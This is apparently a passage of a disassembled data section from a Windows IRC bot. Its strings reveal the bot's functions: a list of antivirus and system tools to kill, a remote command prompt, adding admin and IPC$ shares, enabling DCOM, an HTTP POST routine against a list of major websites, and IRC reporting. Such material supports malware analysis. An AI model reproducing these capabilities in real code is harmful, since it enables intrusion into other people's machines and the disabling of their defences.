aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_418EF6+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_418EF6:loc_419015o align 4 aUser_1 db 'User',0 ; DATA XREF: sub_418EF6:loc_41900Eo align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_418EF6:loc_419007o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_418EF6+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_418EF6+84o align 10h aAccountS db 'Account: %S',0 ; DATA XREF: sub_418EF6+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo align 4 unk_439334 db 2Dh ; - ; DATA XREF: sub_4192DF+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h aS_4 db ' %S',0 ; DATA XREF: sub_4192DF+BEo align 4 unk_439368 db 2Dh ; - ; DATA XREF: sub_4192DF+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_41945F:loc_419543o db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_41945F+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_41945F:loc_41950Ao aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_41945F:loc_4194FCo aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41945F:loc_4194C2o align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_41945F:loc_4194AEo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo align 10h dword_439670 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h ; DATA XREF: sub_419593+ABo dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h dd 5325h unk_43969C db 2Dh ; - ; DATA XREF: sub_419593+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dd 7530h off_4396C8 dd offset aRegedit_exe ; DATA XREF: sub_4196BC+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset dword_4397D0 dd offset dword_4397C4 dd offset dword_4397B8 dd offset dword_4397AC dd offset dword_4397A0 dd offset dword_439794 dd offset dword_439784 dd offset dword_439778 dd offset dword_43976C dd offset dword_439760 dd offset dword_439754 dd offset dword_439744 dd offset dword_439738 dd offset dword_439728 dword_439728 dd 72313169h, 346E3435h, 6578652Eh, 0 ; DATA XREF: sub_4196BC+ECo ; ___:00439724o dword_439738 dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439720o dword_439744 dd 75643364h, 74616470h, 78652E65h, 65h ; DATA XREF: ___:0043971Co dword_439754 dd 65746172h, 6578652Eh, 0 ; DATA XREF: ___:00439718o dword_439760 dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:00439714o dword_43976C dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439710o dword_439778 dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043970Co dword_439784 dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ; DATA XREF: ___:00439708o dword_439794 dd 61656262h, 2E656C67h, 657865h ; DATA XREF: ___:00439704o dword_4397A0 dd 696E6550h, 2E323373h, 657865h ; DATA XREF: ___:00439700o dword_4397AC dd 6B656574h, 2E736469h, 657865h ; DATA XREF: ___:004396FCo dword_4397B8 dd 4C42534Dh, 2E545341h, 657865h ; DATA XREF: ___:004396F8o dword_4397C4 dd 7663736Dh, 2E323362h, 657865h ; DATA XREF: ___:004396F4o dword_4397D0 dd 69737973h, 2E6F666Eh, 657865h ; DATA XREF: ___:004396F0o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: ___:004396ECo align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:004396E8o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: ___:004396E4o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: ___:004396E0o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: ___:004396DCo align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: ___:004396D8o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: ___:004396D4o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: ___:004396D0o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: ___:004396CCo align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: ___:off_4396C8o aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_4196BC+191o align 10h unk_439880 db 2Dh ; - ; DATA XREF: sub_4198EB:loc_419972o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_4398A4 db 2Dh ; - ; DATA XREF: sub_4198EB+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_4398C8 db 2Dh ; - ; DATA XREF: sub_4198EB+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o unk_4398F8 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419C41o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_439928 db 2Dh ; - ; DATA XREF: sub_419B0F+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h unk_439950 db 2Dh ; - ; DATA XREF: sub_419B0F:loc_419BF5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_439980 db 2Dh ; - ; DATA XREF: sub_419C64+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_4399B4 db 2Dh ; - ; DATA XREF: sub_419C64+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 off_4399D8 dd offset dword_439A10 ; DATA XREF: sub_419E79+1B3o ; sub_41A19D+17Ao align 10h dd offset dword_439A08 align 8 off_4399E8 dd offset dword_439A04 ; DATA XREF: sub_41A19D+1E3o dd offset dword_439A00 dd offset dword_4399FC dd offset dword_4399F8 dword_4399F8 dd 5C3A44h ; DATA XREF: sub_419E79+217o ; ___:004399F4o dword_4399FC dd 2444h ; DATA XREF: ___:004399F0o dword_439A00 dd 5C3A43h ; DATA XREF: ___:004399ECo dword_439A04 dd 2443h ; DATA XREF: ___:off_4399E8o dword_439A08 dd 494D4441h, 244Eh ; DATA XREF: ___:004399E0o dword_439A10 dd 24435049h, 0 ; DATA XREF: ___:off_4399D8o dword_439A18 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2E5o ; sub_41A19D+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_439A48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 10h dword_439A70 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A0DBo aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_439A9C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_439AC0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_41A048o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_439AEC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_439B10 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FABo ; sub_41A19D:loc_41A2CBo aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_439B40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419FA4o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_439B7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79:loc_419F86o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_439BB0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo ; sub_41A19D+EDo align 10h dword_439C00 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+91o ; sub_41A19D+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_439C30 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_419E79:loc_419EE6o dd 62617369h, 2E64656Ch, 0 dword_439C50 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_419E79+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_419E79+54o ; sub_41A19D+54o align 10h dword_439C80 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+2C3o aNetworkSharesA db '- Network shares added.',0 aC_1 db '%c:\',0 ; DATA XREF: sub_41A19D+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_41A19D+219o dword_439CB0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A33Co ; sub_41A19D:loc_41A40Do aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_439CD8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+198o ; sub_41A19D+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_439CF8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2C4o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_439D34 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D:loc_41A2A6o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_439D6C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_439DAC dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A19D:loc_41A20Ao dd 6C62616Eh, 2E6465h dword_439DC8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A19D+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h dword_439E20 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41A6AE+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41A6AE+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41A6AE+B6o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41A6AE+AFo align 10h aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41A6AE+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41A6AE+8Co align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41A6AE+85o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41A6AE+7Eo align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41A6AE+77o align 10h aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41A6AE+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41A6AE+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41A6AE+5Bo align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41A6AE+4Do align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41A6AE+46o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41A6AE+3Fo align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41A6AE+38o align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41A6AE+31o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41A6AE+2Ao align 10h aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41A6AE+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41A6AE+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41A6AE+15o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41A88B+52o dword_43A038 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AA42+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43A114 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AA42+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o align 4 aSS_1 db '%s (%s)',0 ; DATA XREF: sub_41AA42+EBo a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo align 4 dword_43A148 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41ACF6+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43A18C dd offset word_412F4E ; DATA XREF: sub_41ACF6:loc_41AD62o off_43A190 dd offset dword_4E414C ; DATA XREF: sub_41ACF6:loc_41AD58o dword_43A194 dd 6C616944h, 70752Dh ; DATA XREF: sub_41ACF6+5Bo dword_43A19C dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41ACF6+48o unk_43A1AC db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF6Eo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 4 unk_43A1DC db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF67o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43A208 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41ADB5+1A0o dd 4C525520h, 2Eh unk_43A224 db 2Dh ; - ; DATA XREF: sub_41ADB5:loc_41AF48o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 10h dword_43A260 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41ADB5+18Co dd 64657469h, 2Eh dword_43A27C dd 2A2F2Ah ; DATA XREF: sub_41ADB5+3Bo dword_43A280 dd 5FF0C395h ; DATA XREF: sub_41B8D8+4w sub_41B8E2r ... align 10h dword_43A290 dd 173Fh ; DATA XREF: sub_41C679+Dr dd 9875h, 9873h off_43A29C dd offset sub_41C748 ; DATA XREF: ___:0041B784r dd offset nullsub_2 dd offset nullsub_2 dword_43A2A8 dd 1B3Fh ; DATA XREF: sub_41C7BF+Dr dword_43A2AC dd 19930520h, 4 dup(0) ; DATA XREF: sub_41CC41+2o ; sub_41CC4A+2o off_43A2C0 dd offset sub_41B7C2 ; DATA XREF: sub_41DA29+1Cr dword_43A2C4 dd 2 ; DATA XREF: sub_423590+Er ; sub_4235C9+46r ... dd 10h, 0 off_43A2D0 dd offset off_43A2D0 ; DATA XREF: sub_41E976+Do ; sub_41E976+69o ... off_43A2D4 dd offset off_43A2D0 ; DATA XREF: sub_41E976:loc_41E9F6r ; sub_41E976+89w ... dd offset dword_43A2E8 dd offset dword_43A2E8 dword_43A2E0 dd 0FFFFFFFFh ; DATA XREF: sub_41E976r ; sub_41EABA:loc_41EB07w dd 0FFFFFFFFh dword_43A2E8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043A2D8o ; ___:0043A2DCo off_43C2F0 dd offset off_43A2D0 ; DATA XREF: sub_41EABA+15r ; sub_41EABA+20w ... dword_43C2F4 dd 1E0h ; DATA XREF: sub_41B202+185r ; sub_41B513:loc_41B54Fr ... off_43C2F8 dd offset word_43C302 ; DATA XREF: sub_41B6EE+23r ; sub_41B6EE:loc_41B74Fr ... off_43C2FC dd offset word_43C302 ; DATA XREF: sub_426BC1+18r db 2 dup(0) word_43C302 dw 20h ; DATA XREF: sub_424D47+18r ; ___:off_43C2F8o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43C504 dd 1 ; DATA XREF: sub_41B6EE:loc_41B6F6r ; sub_41B6EE:loc_41B73Ar ... byte_43C508 db 2Eh ; DATA XREF: sub_420510:loc_420804r ; sub_420510+311r ... align 4 dd 1 off_43C510 dd offset aNull_0 ; DATA XREF: sub_41F69F:loc_41FA03r ; sub_41F69F+457r ; "(null)" off_43C514 dd offset aNull ; DATA XREF: sub_41F69F+259r ; "(null)" byte_43C518 db 1 ; DATA XREF: sub_41FEA9+E1r db 2, 4, 8 align 10h dword_43C520 dd 3A4h ; DATA XREF: sub_41FEA9+2Fo dword_43C524 dd 82798260h, 21h, 0 ; DATA XREF: sub_41FEA9+11Dr dword_43C530 dd 0DFA6h ; DATA XREF: sub_41FEA9+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43C610 dd 1 ; DATA XREF: sub_41FEA9+3Co ; sub_4203DF+Co dword_43C614 dd 16h ; DATA XREF: sub_4203DF:loc_420414r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43C778 dd 0D2D0920h, 5Dh ; DATA XREF: sub_4203DF+19o ; sub_420510:loc_420A77o dword_43C780 dd 5Dh, 0 ; DATA XREF: sub_420510:loc_420967o dword_43C788 dd 14h ; DATA XREF: sub_421624+2o off_43C78C dd offset aExp ; DATA XREF: sub_421624:loc_421641r ; "exp" dd 1Dh, 427878h, 1Ah, 42C270h, 1Bh, 427870h, 1Fh, 427868h dd 13h, 427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h dd 0Fh, 427840h, 10h, 427838h, 5, 427830h, 1Eh, 42782Ch dd 12h, 427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h dd 15h, 42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h dd 18h, 4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h dd 23h, 4277D4h, 24h, 4277D0h dbl_43C860 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+B7r ; sub_42135F:loc_421446r ... dd 0 dd 0FFF80000h dbl_43C870 dq 1.797693134862316e308 ; DATA XREF: sub_42135F+92r ; sub_42135F:loc_42141Er ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43C888 dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr ; sub_42180C+1Fr align 4 tbyte_43C894 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r align 10h off_43C8A0 dd offset sub_421CA0 ; DATA XREF: sub_41C760+Fw ; sub_41F69F+3AAr off_43C8A4 dd offset sub_421935 ; DATA XREF: sub_41C760+5w ; sub_41F69F+3E2r off_43C8A8 dd offset sub_42199B ; DATA XREF: sub_41C760+14w ; sub_420510+430r off_43C8AC dd offset sub_4218DB ; DATA XREF: sub_41C760+1Ew ; sub_41F69F+3CBr off_43C8B0 dd offset sub_421983 ; DATA XREF: sub_41C760+28w off_43C8B4 dd offset sub_421CA0 ; DATA XREF: sub_41C760+32w dd offset sub_42470C align 10h dd offset sub_42255C off_43C8C4 dd offset sub_42255C ; DATA XREF: sub_4225B2+29r dword_43C8C8 dd 0C0000005h ; DATA XREF: sub_422E2F+Ar ; sub_422E2F+11o ... dword_43C8CC dd 0Bh ; DATA XREF: sub_425A82+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43C940 dd 3 ; DATA XREF: ___:00422D46r ; sub_425955+C8r dword_43C944 dd 7 ; DATA XREF: ___:00422D4Cr ; sub_425955+CDr dword_43C948 dd 0Ah ; DATA XREF: sub_422E2F+4r ; sub_425A82+4r dword_43C94C dd 8Ch ; DATA XREF: ___:00422D70r ; ___:00422D7Dw ... dword_43C950 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F043:loc_41F0C4o ; sub_41F58A:loc_41F647o dword_43C958 dd 2 ; DATA XREF: sub_4235C9+Eo ; sub_4235C9+28r off_43C95C dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr ; sub_4235C9+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B94h, 9, 427B68h, 0Ah, 427B44h, 10h, 427B18h dd 11h, 427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h dd 19h, 427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h dd 78h, 427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 433824h dd 0FFh, 427960h off_43C9E8 dd offset dword_4DB5A0 ; DATA XREF: sub_4235C9+1Bo ; sub_423936+55o align 10h dd offset dword_4DB5A0 dd 101h dword_43C9F8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423936+72o dd 1000h, 0 dword_43CA08 dd 3 dup(0) ; DATA XREF: sub_41F58A+50o ; sub_420446+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43CA28 dd 3 dup(0) ; DATA XREF: sub_41F58A+58o ; sub_420446:loc_420464o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43CA58 dd 84h dup(0) ; DATA XREF: sub_423936+9Bo dword_43CC68 dd 2 dup(0) ; DATA XREF: sub_423936+69o dword_43CC70 dd 2694h ; DATA XREF: sub_420FC1+3r ; sub_421014+46r align 8 dword_43CC78 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_4244ECo dword_43CC90 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o dword_43CCA8 dd 7080h ; DATA XREF: sub_422669+76r ; sub_4247EC+5Ew ... dword_43CCAC dd 1 ; DATA XREF: sub_422669+98r ; sub_4247EC+8Bw ... dword_43CCB0 dd 0FFFFF1F0h ; DATA XREF: sub_422669:loc_42271Br ; sub_4247EC+94w ... off_43CCB4 dd offset dword_545350 ; DATA XREF: ___:off_43CD34o dd 0Fh dup(0) off_43CCF4 dd offset byte_544450 ; DATA XREF: ___:off_43CD38o dd 0Fh dup(0) off_43CD34 dd offset off_43CCB4 ; DATA XREF: sub_4247EC+BAr ; sub_4247EC+D9r ... off_43CD38 dd offset off_43CCF4 ; DATA XREF: sub_4247EC+F4r ; sub_4247EC+11Br ... align 10h dword_43CD40 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+1Dw ; sub_424A4A+1Er ... dword_43CD44 dd 0 ; DATA XREF: sub_424A4A:loc_424B7Er ; sub_424BF6+BFw dword_43CD48 dd 0 ; DATA XREF: sub_424A4A+192r ; sub_424BF6+E0w align 10h dword_43CD50 dd 0FFFFFFFFh ; DATA XREF: sub_4247EC+17w ; sub_424A4A+26r ... dword_43CD54 dd 0 ; DATA XREF: sub_424A4A+13Ar ; sub_424BF6+EAw ... dword_43CD58 dd 0 ; DATA XREF: sub_424A4A+1A1r ; sub_424BF6+23r ... dword_43CD5C dd 